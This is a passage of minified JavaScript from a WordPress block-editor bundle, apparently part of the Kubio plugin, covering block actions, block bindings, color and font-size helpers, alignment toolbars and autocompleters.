o.insertBlock(r,n,t)};function Dl(e,t){return{type:"UPDATE_BLOCK_LIST_SETTINGS",clientId:e,settings:t}}function Ol(e){return top.wp.experiments?yr(e,{stripExperimentalSettings:!0}):{type:"UPDATE_SETTINGS",settings:e}}function zl(e,t){return{type:"SAVE_REUSABLE_BLOCK_SUCCESS",id:e,updatedId:t}}function Fl(){return{type:"MARK_LAST_CHANGE_AS_PERSISTENT"}}function Vl(){return{type:"MARK_NEXT_CHANGE_AS_NOT_PERSISTENT"}}const Hl=()=>({dispatch:e})=>{e({type:"MARK_AUTOMATIC_CHANGE"});const{requestIdleCallback:t=(e=>setTimeout(e,100))}=window;t((()=>{e({type:"MARK_AUTOMATIC_CHANGE_FINAL"})}))},Gl=(e=!0)=>({dispatch:t})=>{t.__unstableSetEditorMode(e?"navigation":"edit")},$l=e=>({registry:t})=>{t.dispatch(Gn.store).set("core","editorTool",e),"navigation"===e?(0,br.speak)((0,Je.__)("You are currently in Write mode.","kubio")):"edit"===e&&(0,br.speak)((0,Je.__)("You are currently in Design mode.","kubio"))};function Ul(){return Ye()('wp.data.dispatch( "core/block-editor" ).setBlockMovingClientId',{since:"6.7",hint:"Block moving mode feature has been removed"}),{type:"DO_NOTHING"}}const Wl=(e,t=!0)=>({select:n,dispatch:o})=>{if(!e||!e.length)return;const i=n.getBlocksByClientId(e);if(i.some((e=>!e)))return;const r=i.map((e=>e.name));if(r.some((e=>!(0,c.hasBlockSupport)(e,"multiple",!0))))return;const l=n.getBlockRootClientId(e[0]),s=Ur(e),a=n.getBlockIndex(s[s.length-1]),u=i.map((e=>(0,c.__experimentalCloneSanitizedBlock)(e)));return u.forEach((e=>{var t;const n=null==e||null===(t=e.attributes)||void 0===t?void 0:t.anchor;if(n){const t=(0,oe.getUniqueBlockAnchor)(n);ue().set(e,"attributes.anchor",t)}})),o.insertBlocks(u,a+1,l,t),u.length>1&&t&&o.multiSelect(u[0].clientId,u[u.length-1].clientId),u.map((e=>e.clientId))},Kl=e=>({select:t,dispatch:n})=>{if(!e)return;const o=t.getBlockRootClientId(e);if(t.getTemplateLock(o))return;const i=t.getBlockIndex(e),r=o?t.getDirectInsertBlock(o):null;if(!r)return n.insertDefaultBlock({},o,i);const l={};if(r.attributesToCopy){const n=t.getBlockAttributes(e);r.attributesToCopy.forEach((e=>{n[e]&&(l[e]=n[e])}))}const s=(0,c.createBlock)(r.name,{...r.attributes,...l});return n.insertBlock(s,i,o)},Zl=e=>({select:t,dispatch:n})=>{if(!e)return;const o=t.getBlockRootClientId(e);if(t.getTemplateLock(o))return;const i=t.getBlockIndex(e),r=o?t.getDirectInsertBlock(o):null;if(!r)return n.insertDefaultBlock({},o,i+1);const l={};if(r.attributesToCopy){const n=t.getBlockAttributes(e);r.attributesToCopy.forEach((e=>{n[e]&&(l[e]=n[e])}))}const s=(0,c.createBlock)(r.name,{...r.attributes,...l});return n.insertBlock(s,i+1,o)};function ql(e,t){return{type:"TOGGLE_BLOCK_HIGHLIGHT",clientId:e,isHighlighted:t}}const Yl=e=>async({dispatch:t})=>{t(ql(e,!0)),await new Promise((e=>setTimeout(e,150))),t(ql(e,!1))};function Xl(e,t){return{type:"SET_HAS_CONTROLLED_INNER_BLOCKS",hasControlledInnerBlocks:t,clientId:e}}function Ql(e){return{type:"SET_BLOCK_VISIBILITY",updates:e}}function Jl(e,t){return{type:"SET_TEMPORARILY_EDITING_AS_BLOCKS",temporarilyEditingAsBlocks:e,focusModeToRevert:t}}const es=e=>({select:t,dispatch:n})=>{var o;if(!e||"object"!=typeof e)return void console.error("Category should be an `InserterMediaCategory` object.");if(!e.name)return void console.error("Category should have a `name` that should be unique among all media categories.");if(null===(o=e.labels)||void 0===o||!o.name)return void console.error("Category should have a `labels.name`.");if(!["image","audio","video"].includes(e.mediaType))return void console.error("Category should have `mediaType` property that is one of `image|audio|video`.");if(!e.fetch||"function"!=typeof e.fetch)return void console.error("Category should have a `fetch` function defined with the following signature `(InserterMediaRequest) => Promise<InserterMediaItem[]>`.");const i=t.getRegisteredInserterMediaCategories();i.some((({name:t})=>t===e.name))?console.error(`A category is already registered with the same name: "${e.name}".`):i.some((({labels:{name:t}={}})=>{var n;return t===(null===(n=e.labels)||void 0===n?void 0:n.name)}))?console.error(`A category is already registered with the same labels.name: "${e.labels.name}".`):n({type:"REGISTER_INSERTER_MEDIA_CATEGORY",category:{...e,isExternalResource:!0}})};function ts(e="",t){return{type:"SET_BLOCK_EDITING_MODE",clientId:e,mode:t}}function ns(e=""){return{type:"UNSET_BLOCK_EDITING_MODE",clientId:e}}var os,is,rs,ls,ss,as,cs,us;const ds=(0,oe.wpVersionCompare)("6.2",">="),ps={reducer:Bt,resolvers:r,selectors:ds?t:{...t,...e},actions:ds?l:{...l,...i}},hs=(0,d.createReduxStore)(Ot,{...ps,persist:["preferences"]}),gs=(0,d.registerStore)(Ot,{...ps,persist:["preferences"]});function fs(e){var t,n,o="";if("string"==typeof e||"number"==typeof e)o+=e;else if("object"==typeof e)if(Array.isArray(e)){var i=e.length;for(t=0;t<i;t++)e[t]&&(n=fs(e[t]))&&(o&&(o+=" "),o+=n)}else for(n in e)e[n]&&(o&&(o+=" "),o+=n);return o}null===(os=ge(gs))||void 0===os||null===(is=os.registerPrivateActions)||void 0===is||is.call(os,i),null===(rs=ge(gs))||void 0===rs||null===(ls=rs.registerPrivateSelectors)||void 0===ls||ls.call(rs,e),null===(ss=ge(hs))||void 0===ss||null===(as=ss.registerPrivateActions)||void 0===as||as.call(ss,i),null===(cs=ge(hs))||void 0===cs||null===(us=cs.registerPrivateSelectors)||void 0===us||us.call(cs,e);const ms=function(){for(var e,t,n=0,o="",i=arguments.length;n<i;n++)(e=arguments[n])&&(t=fs(e))&&(o&&(o+=" "),o+=t);return o},vs=(0,u.createContext)({});function bs({value:e,children:t}){const n=(0,u.useContext)(vs),o=(0,u.useMemo)((()=>({...n,...e})),[n,e]);return(0,Nt.jsx)(vs.Provider,{value:o,children:t})}const ks=vs;function _s(e){if(e.includes(" "))return!1;const t=(0,$n.getProtocol)(e),n=(0,$n.isValidProtocol)(t),o=function(e,t=6){const n=e.split(/[?#]/)[0];return new RegExp(`(?<=\\S)\\.(?:[a-zA-Z_]{2,${t}})(?:\\/|$)`).test(n)}(e),i=null==e?void 0:e.startsWith("www."),r=(null==e?void 0:e.startsWith("#"))&&(0,$n.isValidFragment)(e);return n||i||r||o}const ys={},xs=(0,ne.withFilters)("editor.BlockEdit")((e=>{const{name:t}=e,n=(0,c.getBlockType)(t);if(!n)return null;const o=n.edit||n.save;return(0,Nt.jsx)(o,{...e})})),Ss=e=>{var t;const{name:n,clientId:o,attributes:i,setAttributes:r}=e,l=(0,d.useRegistry)(),s=(0,c.getBlockType)(n),a=(0,u.useContext)(ks),p=(0,d.useSelect)((e=>ge(e(c.store)).getAllBlockBindingsSources()),[]),{blockBindings:h,context:g,hasPatternOverrides:f}=(0,u.useMemo)((()=>{var e,t,o;const r=null!=s&&s.usesContext?Object.fromEntries(Object.entries(a).filter((([e])=>s.usesContext.includes(e)))):ys;var l;return null!=i&&null!==(e=i.metadata)&&void 0!==e&&e.bindings&&Object.values((null==i||null===(l=i.metadata)||void 0===l?void 0:l.bindings)||{}).forEach((e=>{var t,n;null===(t=p[null==e?void 0:e.source])||void 0===t||null===(n=t.usesContext)||void 0===n||n.forEach((e=>{r[e]=a[e]}))})),{blockBindings:Ls(n,null==i||null===(t=i.metadata)||void 0===t?void 0:t.bindings),context:r,hasPatternOverrides:As(null==i||null===(o=i.metadata)||void 0===o?void 0:o.bindings)}}),[n,null==s?void 0:s.usesContext,a,null==i||null===(t=i.metadata)||void 0===t?void 0:t.bindings,p]),m=(0,d.useSelect)((e=>{if(!h)return i;const t={},r=new Map;for(const[e,t]of Object.entries(h)){const{source:o,args:i}=t,l=p[o];l&&Ns(n,e)&&r.set(l,{...r.get(l),[e]:{args:i}})}if(r.size)for(const[n,i]of r){let r={};n.getValues?r=n.getValues({select:e,context:g,clientId:o,bindings:i}):Object.keys(i).forEach((e=>{r[e]=n.label}));for(const[e,n]of Object.entries(r))"url"!==e||n&&_s(n)?t[e]=n:t[e]=null}return{...i,...t}}),[i,h,o,g,n,p]),v=(0,u.useCallback)((e=>{h?l.batch((()=>{const t={...e},i=new Map;for(const[e,o]of Object.entries(t)){if(!h[e]||!Ns(n,e))continue;const r=h[e],l=p[null==r?void 0:r.source];null!=l&&l.setValues&&(i.set(l,{...i.get(l),[e]:{args:r.args,newValue:o}}),delete t[e])}if(i.size)for(const[e,t]of i)e.setValues({select:l.select,dispatch:l.dispatch,context:g,clientId:o,bindings:t});const s=!!g["pattern/overrides"];f&&s||!Object.keys(t).length||(f&&(delete t.caption,delete t.href),r(t))})):r(e)}),[h,o,g,f,r,p,n,l]);if(!s)return null;if(s.apiVersion>1)return(0,Nt.jsx)(xs,{...e,attributes:m,context:g,setAttributes:v});const b=(0,c.hasBlockSupport)(s,"className",!0)?(0,c.getBlockDefaultClassName)(n):null,k=ms(b,null==i?void 0:i.className,e.className);return(0,Nt.jsx)(xs,{...e,attributes:m,className:k,context:g,setAttributes:v})},ws=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"})}),Cs=function({className:e,actions:t,children:n,secondaryActions:o}){return(0,Nt.jsx)("div",{style:{display:"contents",all:"initial"},children:(0,Nt.jsx)("div",{className:ms(e,"block-editor-warning"),children:(0,Nt.jsxs)("div",{className:"block-editor-warning__contents",children:[(0,Nt.jsx)("p",{className:"block-editor-warning__message",children:n}),((null==t?void 0:t.length)>0||o)&&(0,Nt.jsxs)("div",{className:"block-editor-warning__actions",children:[(null==t?void 0:t.length)>0&&t.map(((e,t)=>(0,Nt.jsx)("span",{className:"block-editor-warning__action",children:e},t))),o&&(0,Nt.jsx)(ne.DropdownMenu,{className:"block-editor-warning__secondary",icon:ws,label:(0,Je.__)("More options"),popoverProps:{position:"bottom left",className:"block-editor-warning__dropdown"},noIcons:!0,children:()=>(0,Nt.jsx)(ne.MenuGroup,{children:o.map(((e,t)=>(0,Nt.jsx)(ne.MenuItem,{onClick:e.onClick,children:e.title},t)))})})]})]})})})};function Bs({originalBlockClientId:e,name:t,onReplace:n}){const{selectBlock:o}=(0,d.useDispatch)(hs),i=(0,c.getBlockType)(t);return(0,Nt.jsxs)(Cs,{actions:[(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,variant:"secondary",onClick:()=>o(e),children:(0,Je.__)("Find original")},"find-original"),(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,variant:"secondary",onClick:()=>n([]),children:(0,Je.__)("Remove")},"remove")],children:[(0,Nt.jsxs)("strong",{children:[null==i?void 0:i.title,": "]}),(0,Je.__)("This block can only be used once.")]})}const Is=(0,u.createContext)({});function js({mayDisplayControls:e,mayDisplayParentControls:t,blockEditingMode:n,isPreviewMode:o,...i}){const{name:r,isSelected:l,clientId:s,attributes:a={},__unstableLayoutClassNames:d}=i,{layout:p=null,metadata:h={}}=a,{bindings:k}=h,_=(0,c.hasBlockSupport)(r,"layout",!1)||(0,c.hasBlockSupport)(r,"__experimentalLayout",!1),{originalBlockClientId:y}=(0,u.useContext)(Is);return(0,Nt.jsxs)(x,{value:(0,u.useMemo)((()=>({name:r,isSelected:l,clientId:s,layout:_?p:null,__unstableLayoutClassNames:d,[g]:e,[f]:t,[m]:n,[v]:k,[b]:o})),[r,l,s,_,p,d,e,t,n,k,o]),children:[(0,Nt.jsx)(Ss,{...i}),y&&(0,Nt.jsx)(Bs,{originalBlockClientId:y,name:r,onReplace:i.onReplace})]})}const Es="__default",Ts="core/pattern-overrides",Ps={"core/paragraph":["content"],"core/heading":["content"],"core/image":["id","url","title","alt"],"core/button":["url","text","linkTarget","rel"]};function Ms(e){return!e||0===Object.keys(e).length}function Rs(e){return e in Ps}function Ns(e,t){return Rs(e)&&Ps[e].includes(t)}function As(e){var t;return(null==e||null===(t=e[Es])||void 0===t?void 0:t.source)===Ts}function Ls(e,t){if(As(t)){const n=Ps[e],o={};for(const e of n){const n=t[e]?t[e]:{source:Ts};o[e]=n}return o}return t}function Ds(){const{clientId:e}=S(),{updateBlockAttributes:t}=(0,d.useDispatch)(hs),{getBlockAttributes:n}=(0,d.useRegistry)().select(hs);return{updateBlockBindings:o=>{const{metadata:{bindings:i,...r}={}}=n(e),l={...i};Object.entries(o).forEach((([e,t])=>{t||!l[e]?l[e]=t:delete l[e]}));const s={...r,bindings:l};Ms(s.bindings)&&delete s.bindings,t(e,{metadata:Ms(s)?void 0:s})},removeAllBlockBindings:()=>{const{metadata:{bindings:o,...i}={}}=n(e);t(e,{metadata:Ms(i)?void 0:i})}}}X([Q,te]);const Os=(e,t,n)=>{if(t){const n=null==e?void 0:e.find((e=>e.slug===t));if(n)return n}return{color:n}},zs=(e,t)=>null==e?void 0:e.find((e=>e.color===t));function Fs(e,t){if(e&&t)return`has-${We(t)}-${e}`}function Vs(...e){const{clientId:t=null}=S();return(0,d.useSelect)((n=>ge(n(hs)).getBlockSettings(t,...e)),[t,...e])}function Hs(e){Ye()("wp.blockEditor.useSetting",{since:"6.5",alternative:"wp.blockEditor.useSettings",note:"The new useSettings function can retrieve multiple settings at once, with better performance."});const[t]=Vs(e);return t}const Gs=([e,...t])=>e.toUpperCase()+t.join(""),$s=e=>(0,p.createHigherOrderComponent)((t=>n=>(0,Nt.jsx)(t,{...n,colors:e})),"withCustomColorPalette"),Us=()=>(0,p.createHigherOrderComponent)((e=>t=>{const[n,o,i]=Vs("color.palette.custom","color.palette.theme","color.palette.default"),r=(0,u.useMemo)((()=>[...n||[],...o||[],...i||[]]),[n,o,i]);return(0,Nt.jsx)(e,{...t,colors:r})}),"withEditorColorPalette");function Ws(e,t){const n=e.reduce(((e,t)=>({...e,..."string"==typeof t?{[t]:We(t)}:t})),{});return(0,p.compose)([t,e=>class extends u.Component{constructor(e){super(e),this.setters=this.createSetters(),this.colorUtils={getMostReadableColor:this.getMostReadableColor.bind(this)},this.state={}}getMostReadableColor(e){const{colors:t}=this.props;return function(e,t){const n=q(t),o=({color:e})=>n.contrast(e),i=Math.max(...e.map(o));return e.find((e=>o(e)===i)).color}(t,e)}createSetters(){return Object.keys(n).reduce(((e,t)=>{const n=Gs(t),o=`custom${n}`;return e[`set${n}`]=this.createSetColor(t,o),e}),{})}createSetColor(e,t){return n=>{const o=zs(this.props.colors,n);this.props.setAttributes({[e]:o&&o.slug?o.slug:void 0,[t]:o&&o.slug?void 0:n})}}static getDerivedStateFromProps({attributes:e,colors:t},o){return Object.entries(n).reduce(((n,[i,r])=>{const l=Os(t,e[i],e[`custom${Gs(i)}`]),s=o[i];return(null==s?void 0:s.color)===l.color&&s?n[i]=s:n[i]={...l,class:Fs(r,l.slug)},n}),{})}render(){return(0,Nt.jsx)(e,{...this.props,colors:void 0,...this.state,...this.setters,colorUtils:this.colorUtils})}}])}function Ks(e){return(...t)=>{const n=$s(e);return(0,p.createHigherOrderComponent)(Ws(t,n),"withCustomColors")}}function Zs(...e){const t=Us();return(0,p.createHigherOrderComponent)(Ws(e,t),"withColors")}function qs(e){if(e)return`has-${e}-gradient-background`}function Ys(e,t){const n=null==e?void 0:e.find((e=>e.slug===t));return n&&n.gradient}function Xs(e,t){const n=null==e?void 0:e.find((e=>e.gradient===t));return n}function Qs(e,t){const n=Xs(e,t);return n&&n.slug}function Js({gradientAttribute:e="gradient",customGradientAttribute:t="customGradient"}={}){const{clientId:n}=S(),[o,i,r]=Vs("color.gradients.custom","color.gradients.theme","color.gradients.default"),l=(0,u.useMemo)((()=>[...o||[],...i||[],...r||[]]),[o,i,r]),{gradient:s,customGradient:a}=(0,d.useSelect)((o=>{const{getBlockAttributes:i}=o(hs),r=i(n)||{};return{customGradient:r[t],gradient:r[e]}}),[n,e,t]),{updateBlockAttributes:c}=(0,d.useDispatch)(hs),p=(0,u.useCallback)((o=>{const i=Qs(l,o);c(n,i?{[e]:i,[t]:void 0}:{[e]:void 0,[t]:o})}),[l,n,c]),h=qs(s);let g;return g=s?Ys(l,s):a,{gradientClass:h,gradientValue:g,setGradient:p}}const ea=(e,t,n)=>{if(t){const n=null==e?void 0:e.find((({slug:e})=>e===t));if(n)return n}return{size:n}};function ta(e,t){return(null==e?void 0:e.find((({size:e})=>e===t)))||{size:t}}function na(e){if(e)return`has-${(0,se.kebabCase)(e)}-font-size`}const oa="1600px",ia="320px",ra=1,la=.25,sa=.75,aa="14px";function ca({minimumFontSize:e,maximumFontSize:t,fontSize:n,minimumViewportWidth:o=ia,maximumViewportWidth:i=oa,scaleFactor:r=ra,minimumFontSizeLimit:l}){if(l=ua(l)?l:aa,n){const o=ua(n);if(null==o||!o.unit)return null;const i=ua(l,{coerceTo:o.unit});if(null!=i&&i.value&&!e&&!t&&(null==o?void 0:o.value)<=(null==i?void 0:i.value))return null;if(t||(t=`${o.value}${o.unit}`),!e){const t="px"===o.unit?o.value:16*o.value,n=Math.min(Math.max(1-.075*Math.log2(t),la),sa),r=da(o.value*n,3);e=null!=i&&i.value&&r<(null==i?void 0:i.value)?`${i.value}${i.unit}`:`${r}${o.unit}`}}const s=ua(e),a=(null==s?void 0:s.unit)||"rem",c=ua(t,{coerceTo:a});if(!s||!c)return null;const u=ua(e,{coerceTo:"rem"}),d=ua(i,{coerceTo:a}),p=ua(o,{coerceTo:a});if(!d||!p||!u)return null;const h=d.value-p.value;if(!h)return null;const g=da(p.value/100,3),f=da(g,3)+a,m=da(((c.value-s.value)/h*100||1)*r,3);return`clamp(${e}, ${u.value}${u.unit} + ((1vw - ${f}) * ${m}), ${t})`}function ua(e,t={}){if("string"!=typeof e&&"number"!=typeof e)return null;isFinite(e)&&(e=`${e}px`);const{coerceTo:n,rootSizeValue:o,acceptableUnits:i}={coerceTo:"",rootSizeValue:16,acceptableUnits:["rem","px","em"],...t},r=null==i?void 0:i.join("|"),l=new RegExp(`^(\\d*\\.?\\d+)(${r}){1,1}$`),s=e.match(l);if(!s||s.length<3)return null;let[,a,c]=s,u=parseFloat(a);return"px"!==n||"em"!==c&&"rem"!==c||(u*=o,c=n),"px"!==c||"em"!==n&&"rem"!==n||(u/=o,c=n),"em"!==n&&"rem"!==n||"em"!==c&&"rem"!==c||(c=n),{value:da(u,3),unit:c}}function da(e,t=3){const n=Math.pow(10,t);return Number.isFinite(e)?parseFloat(Math.round(e*n)/n):void 0}const pa=function(e){const[t,n]=Vs("typography.fontSizes","typography.customFontSize");return(0,Nt.jsx)(ne.FontSizePicker,{...e,fontSizes:t,disableCustomFontSizes:!n})},ha=[],ga=([e,...t])=>e.toUpperCase()+t.join(""),fa=(...e)=>{const t=e.reduce(((e,t)=>(e[t]=`custom${ga(t)}`,e)),{});return(0,p.createHigherOrderComponent)((0,p.compose)([(0,p.createHigherOrderComponent)((e=>t=>{const[n]=Vs("typography.fontSizes");return(0,Nt.jsx)(e,{...t,fontSizes:n||ha})}),"withFontSizes"),e=>class extends u.Component{constructor(e){super(e),this.setters=this.createSetters(),this.state={}}createSetters(){return Object.entries(t).reduce(((e,[t,n])=>(e[`set${ga(t)}`]=this.createSetFontSize(t,n),e)),{})}createSetFontSize(e,t){return n=>{var o;const i=null===(o=this.props.fontSizes)||void 0===o?void 0:o.find((({size:e})=>e===Number(n)));this.props.setAttributes({[e]:i&&i.slug?i.slug:void 0,[t]:i&&i.slug?void 0:n})}}static getDerivedStateFromProps({attributes:e,fontSizes:n},o){const i=(t,n)=>!o[n]||(e[n]?e[n]!==o[n].slug:o[n].size!==e[t]);if(!Object.values(t).some(i))return null;const r=Object.entries(t).filter((([e,t])=>i(t,e))).reduce(((t,[o,i])=>{const r=e[o],l=ea(n,r,e[i]);return t[o]={...l,class:na(r)},t}),{});return{...o,...r}}render(){return(0,Nt.jsx)(e,{...this.props,fontSizes:void 0,...this.state,...this.setters})}}]),"withFontSizes")},ma=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M13 5.5H4V4h9v1.5Zm7 7H4V11h16v1.5Zm-7 7H4V18h9v1.5Z"})}),va=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M7.5 5.5h9V4h-9v1.5Zm-3.5 7h16V11H4v1.5Zm3.5 7h9V18h-9v1.5Z"})}),ba=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M11.111 5.5H20V4h-8.889v1.5ZM4 12.5h16V11H4v1.5Zm7.111 7H20V18h-8.889v1.5Z"})}),ka=[{icon:ma,title:(0,Je.__)("Align text left"),align:"left"},{icon:va,title:(0,Je.__)("Align text center"),align:"center"},{icon:ba,title:(0,Je.__)("Align text right"),align:"right"}],_a={placement:"bottom-start"},ya=function({value:e,onChange:t,alignmentControls:n=ka,label:o=(0,Je.__)("Align text"),description:i=(0,Je.__)("Change text alignment"),isCollapsed:r=!0,isToolbar:l}){function s(n){return()=>t(e===n?void 0:n)}const a=n.find((t=>t.align===e)),c=l?ne.ToolbarGroup:ne.ToolbarDropdownMenu,u=l?{isCollapsed:r}:{toggleProps:{description:i},popoverProps:_a};return(0,Nt.jsx)(c,{icon:a?a.icon:(0,Je.isRTL)()?ba:ma,label:o,controls:n.map((t=>{const{align:n}=t,o=e===n;return{...t,isActive:o,role:r?"menuitemradio":void 0,onClick:s(n)}})),...u})},xa=e=>(0,Nt.jsx)(ya,{...e,isToolbar:!1}),Sa=e=>(0,Nt.jsx)(ya,{...e,isToolbar:!0}),wa=window.kubio.pro,Ca=()=>"",Ba=e=>e.title,Ia=e=>e.description||"",ja=e=>e.keywords||[],Ea=()=>"",Ta=()=>null;function Pa(e=""){return(e=(e=(0,se.deburr)(e)).replace(/^\//,"")).toLowerCase()}const Ma=(e="")=>(0,se.words)(Pa(e)),Ra=(e,t,n,o)=>{if(0===Ma(o).length)return e;const i={getCategory:e=>{var n;return null===(n=(0,se.find)(t,{slug:e.category}))||void 0===n?void 0:n.title},getCollection:e=>{var t;return null===(t=n[e.name.split("/")[0]])||void 0===t?void 0:t.title}};return Na(e,o,i)},Na=(e=[],t="",n={})=>{if(0===Ma(t).length)return e;const o=e.map((e=>[e,Aa(e,t,n)])).filter((([,e])=>e>0));return o.sort((([,e],[,t])=>t-e)),o.map((([e])=>e))};function Aa(e,t,n={}){const{getName:o=Ca,getTitle:i=Ba,getDescription:r=Ia,getKeywords:l=ja,getCategory:s=Ea,getCollection:a=Ta}=n,c=o(e),u=i(e),d=r(e),p=l(e),h=s(e),g=a(e),f=Pa(t),m=Pa(u);let v=0;if(f===m)v+=30;else if(m.startsWith(f))v+=20;else{const e=[c,u,d,...p,h,g].join(" ");0===(b=(0,se.words)(f),k=e,(0,se.differenceWith)(b,Ma(k),((e,t)=>t.includes(e)))).length&&(v+=10)}var b,k;return 0!==v&&c.startsWith("core/")&&v++,v}const La=(e,t,n)=>{const{categories:o,collections:i,items:r}=(0,d.useSelect)((t=>{const{getInserterItems:o}=t(hs),{getCategories:i,getCollections:r}=t(c.store);return{categories:i().sort((({isKubio:e},{isKubio:t})=>e&&!t?-1:!e&&t?1:0),[]),collections:r(),items:o(e,n)}}),[e,n]);return[r,o,i,(0,u.useCallback)((({name:e,initialAttributes:n,innerBlocks:o},i)=>{const r=(0,c.createBlock)(e,n,(0,c.createBlocksFromInnerBlocksTemplate)(o));t(r,void 0,i)}),[t])]};var Da=n(3967),Oa=n.n(Da);const za=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z"})}),Fa=(0,u.memo)((function({icon:e,showColors:t=!1,className:n,context:o}){var i;"block-default"===(null===(i=e)||void 0===i?void 0:i.src)&&(e={src:za});const r=(0,Nt.jsx)(ne.Icon,{icon:e&&e.src?e.src:e,context:o}),l=t?{backgroundColor:e&&e.background,color:e&&e.foreground}:{};return(0,Nt.jsx)("span",{style:l,className:Oa()("block-editor-block-icon",n,{"has-colors":t}),children:r})})),Va=()=>{},Ha={name:"blocks",className:"block-editor-autocompleters__block",triggerPrefix:"/",useItems(e){const{rootClientId:t,selectedBlockId:n,prioritizedBlocks:o,blockTypes:i}=(0,d.useSelect)((e=>{var t;const{getSelectedBlockClientId:n,getBlockName:o,getBlockListSettings:i,getBlockRootClientId:r,getBlock:l}=e(hs),{getBlockTypes:s,getActiveBlockVariation:a}=e(c.store),u=n(),{name:d,attributes:p}=l(u),h=a(d,p),g=r(u);return{selectedBlockId:h?`${d}/${h.name}`:d,rootClientId:g,prioritizedBlocks:null===(t=i(g))||void 0===t?void 0:t.prioritizedInserterBlocks,blockTypes:s()}}),[]),[r,l,s]=La(t,Va),a=(0,u.useMemo)((()=>ue().keyBy(i,"name")),[i]),p=(0,u.useMemo)((()=>{const t=e.trim()?Ra(r,l,s,e):((e,t)=>t?(e.sort((({id:e},{id:n})=>{let o=t.indexOf(e),i=t.indexOf(n);return o<0&&(o=t.length),i<0&&(i=t.length),o-i})),e):e)(Dt(r,"frecency","desc"),o);return t.filter((e=>e.id!==n)).slice(0,9).map((e=>{let t=!1;return t=ue().get(a,[e.name,"isPro"],!1),{...e,isProOnFree:t}}))}),[e,n,r,l,s,o,a]);return[(0,u.useMemo)((()=>p.map((e=>{const{title:t,icon:n,isDisabled:o,isProOnFree:i}=e;return{key:`block-${e.id}`,value:e,label:(0,Nt.jsxs)(wa.ProItem,{className:"kubio-autocomplete-item kubio-pro-item--small",item:i,children:[(0,Nt.jsx)(Fa,{icon:n,showColors:!0},"icon"),t]}),isDisabled:o}}))),[p])]},allowContext:(e,t)=>!(/\S/.test(e)||/\S/.test(t)),getOptionCompletion(e){const{name:t,initialAttributes:n,innerBlocks:o,syncStatus:i,content:r}=e;return{action:"replace",value:"unsynced"===i?(0,c.parse)(r,{__unstableSkipMigrationLogs:!0}):(0,c.createBlock)(t,n,(0,c.createBlocksFromInnerBlocksTemplate)(o))}}},Ga=window.wp.apiFetch;var $a=n.n(Ga);const Ua=(0,u.forwardRef)((function({icon:e,size:t=24,...n},o){return(0,u.cloneElement)(e,{width:t,height:t,...n,ref:o})})),Wa=(0,Nt.jsxs)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,Nt.jsx)(Rt.Path,{d:"M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z"}),(0,Nt.jsx)(Rt.Path,{d:"M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z"})]}),Ka=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z"})}),Za=window.wp.htmlEntities,qa={name:"links",className:"block-editor-autocompleters__link",triggerPrefix:"[[",options:async e=>{let t=await $a()({path:(0,$n.addQueryArgs)("/wp/v2/search",{per_page:10,search:e,type:"post",order_by:"menu_order"})});return t=t.filter((e=>""!==e.title)),t},getOptionKeywords:e=>[...e.title.split(/\s+/)],getOptionLabel:e=>(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(Ua,{icon:"page"===e.subtype?Wa:Ka},"icon"),(0,Za.decodeEntities)(e.title)]}),getOptionCompletion:e=>(0,Nt.jsx)("a",{href:e.url,children:e.title})},Ya=[];function Xa({completers:e=Ya}){const{name:t}=S();return(0,u.useMemo)((()=>{let n=[...e,qa];return(t===(0,c.getDefaultBlockName)()||(0,c.getBlockSupport)(t,"__experimentalSlashInserter",!1))&&(n=[...n,Ha]),(0,h.hasFilter)("editor.Autocomplete.completers")&&(n===e&&(n=n.map((e=>({...e})))),n=(0,h.applyFilters)("editor.Autocomplete.completers",n,t)),n}),[e,t])}const Qa=function(e){return(0,Nt.jsx)(ne.Autocomplete,{...e,completers:Xa(e)})},Ja=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M9 9v6h11V9H9zM4 20h1.5V4H4v16z"})}),ec=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M12.5 